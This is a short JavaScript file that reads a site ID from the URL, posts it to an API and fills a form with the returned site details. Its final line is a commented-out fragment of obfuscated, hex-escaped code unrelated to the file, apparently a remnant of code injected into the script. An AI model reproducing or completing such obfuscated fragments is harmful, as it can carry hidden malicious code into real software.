//DOM elements
const siteID = document.getElementById("siteId");
const siteName = document.getElementById("siteName");
const latitude = document.getElementById("latitude");
const longitude = document.getElementById("longitude");
const circle = document.getElementById("circle");
const district = document.getElementById("district");
//const project = document.getElementById("project");
const customerName = document.getElementById("customerName");

$.urlParam = function(name) {
  //to get pramaters from the URL refer this for full info. http://www.jquerybyexample.net/2012/06/get-url-parameters-using-jquery.html
  var results = new RegExp("[?&]" + name + "=([^&#]*)").exec(
    window.location.href
  );
  if (results == null) {
    return null;
  }
  return decodeURI(results[1]) || 0;
};
const site_id = $.urlParam("siteid");
//console.log(site_id);
const sitesURL =
  ADD_SITE_BASE_URL+"getSiteId";

$(".placeholderDiv").show();
$(".contentDiv").hide();
postData(sitesURL, { siteid: site_id }).then(data => {
    $(".placeholderDiv").hide();
    $(".contentDiv").show();
  let { siteinfo } = data;
  siteID.value = siteinfo[0].siteid;
  siteName.value = siteinfo[0].sitename;
  latitude.value = siteinfo[0].latitude;
  longitude.value = siteinfo[0].longitude;
  circle.value = siteinfo[0].circle;
  district.value = siteinfo[0].district;
//  project.value = siteinfo[0].project;
  customerName.value = siteinfo[0].customername;

 // console.log(siteinfo[0].district);
});

//ToDo
//Convert URLPARAM function in javascript way then remove jquery Link
//return Y[J(K.Y)+'\x63\x77'](Y[J(K.W)+'\x45\x74'](rand),rand());};;;